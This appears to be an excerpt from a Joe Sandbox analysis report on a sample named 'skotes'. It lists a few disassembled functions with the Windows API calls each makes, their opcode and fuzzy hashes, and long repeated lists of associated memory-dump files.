Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bb18278b01014c8eba3659811e93e7c603fb933a4a474a293b30963c623464a
Instruction ID: 0b7319dcc8a172e12c0cdefdc68effb50ddc0bc2961cd08f02095bb57e4cf3a8
Opcode Fuzzy Hash: 2bb18278b01014c8eba3659811e93e7c603fb933a4a474a293b30963c623464a
Instruction Fuzzy Hash: F22106329242097AEF117B689C46FAF37A9DF41378F110325F9642B1C1DB709E218AA1

Function 00276D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00276D11
Sleep.KERNEL32(00007530), ref: 00276D25

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 7659c0046b3ac603f7e569b72992e325b84597009da28083c63205e99e9f24e7
Instruction ID: 305b03d3cbde393c2e9c95a702c2dea786973ecaa3732629d0df4ed7a3eb0f9f
Opcode Fuzzy Hash: 7659c0046b3ac603f7e569b72992e325b84597009da28083c63205e99e9f24e7
Instruction Fuzzy Hash: 5DD08C307F4714BAF13113202C0FF67AA109B0AF41F248844730C3F0D082F030004798

Function 00268380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00268524

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 6a2c6e4ab94b12bff27738c5e739d5479bb98029a4d07833116a03f6f33fef84
Instruction ID: 46db214dbad7dcc71458ae91096b23e0721a867f5f6ad153bb7b6bb87ce0e900
Opcode Fuzzy Hash: 6a2c6e4ab94b12bff27738c5e739d5479bb98029a4d07833116a03f6f33fef84
Instruction Fuzzy Hash: 7E512670D202189BEB24EF28CD45BDDB779DB45314F9043A9E409A72C1EF709EE48B91

Function 00297124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,0029705B,?,?,00000000,00000000), ref: 00297166

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 0047242e89cbbdb0fcbdbb03911e5182ff25a873ff74d1881208bcdf794bd45b
Instruction ID: cc0880c05c62ace364a821fb59c9435688f3eb410cdfae3aba3ce2fa3ab747eb
Opcode Fuzzy Hash: 0047242e89cbbdb0fcbdbb03911e5182ff25a873ff74d1881208bcdf794bd45b
Instruction Fuzzy Hash: 55112E7292410DABDF10DFD5C881EDFB7BCAF08310F205266E519E2080EA30EB59CB61

Function 0029AC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0029AC8D

Memory Dump Source

Source File: 00000006.00000002.3284816774.0000000000261000.00000040.00000001.01000000.00000007.sdmp, Offset: 00260000, based on PE: true

Associated: 00000006.00000002.3284753119.0000000000260000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3284816774.00000000002C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285045225.00000000002C9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285138054.00000000002CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285204977.00000000002D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285689973.000000000042E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285773131.0000000000430000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285884803.0000000000445000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3285968937.0000000000446000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000449000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286052365.0000000000453000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286177375.0000000000456000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286282906.000000000045A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286370217.000000000045B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286459446.000000000045C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286501150.0000000000464000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286538153.0000000000465000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286578147.000000000046D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286641115.000000000046E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286804256.0000000000481000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286865548.0000000000482000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3286978240.0000000000484000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287092626.0000000000496000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287136041.00000000004B4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287206430.00000000004B7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287270075.00000000004B8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287339737.00000000004BC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287376184.00000000004C4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287436901.00000000004C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287503289.00000000004D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287541318.00000000004D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287609261.00000000004D9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287715204.00000000004DF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287774424.00000000004E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287813049.00000000004E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287894437.00000000004E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3287975334.00000000004EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288059069.00000000004F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288147613.00000000004F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288232370.0000000000501000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288270366.0000000000503000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288357784.000000000050F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000512000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288426588.0000000000537000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288604992.0000000000563000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288685003.0000000000564000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288768998.0000000000565000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288854056.0000000000568000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3288934359.000000000056A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289015680.0000000000579000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3289096138.000000000057B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_260000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: ba6f1131ea588b0a08d876e611ea26d276e00c950a17d94028881ce29831e4dd
Instruction ID: 0f32fee870d4dc9988ac31bf7522cd2ee23fdc4d9e18ba137eb3ac2d0a01f03d
Opcode Fuzzy Hash: ba6f1131ea588b0a08d876e611ea26d276e00c950a17d94028881ce29831e4dd
Instruction Fuzzy Hash: A3111571A0420AAFCF05DF58E94199A7BF4EF48304F14406AF809AB251DA30EE21CBA5

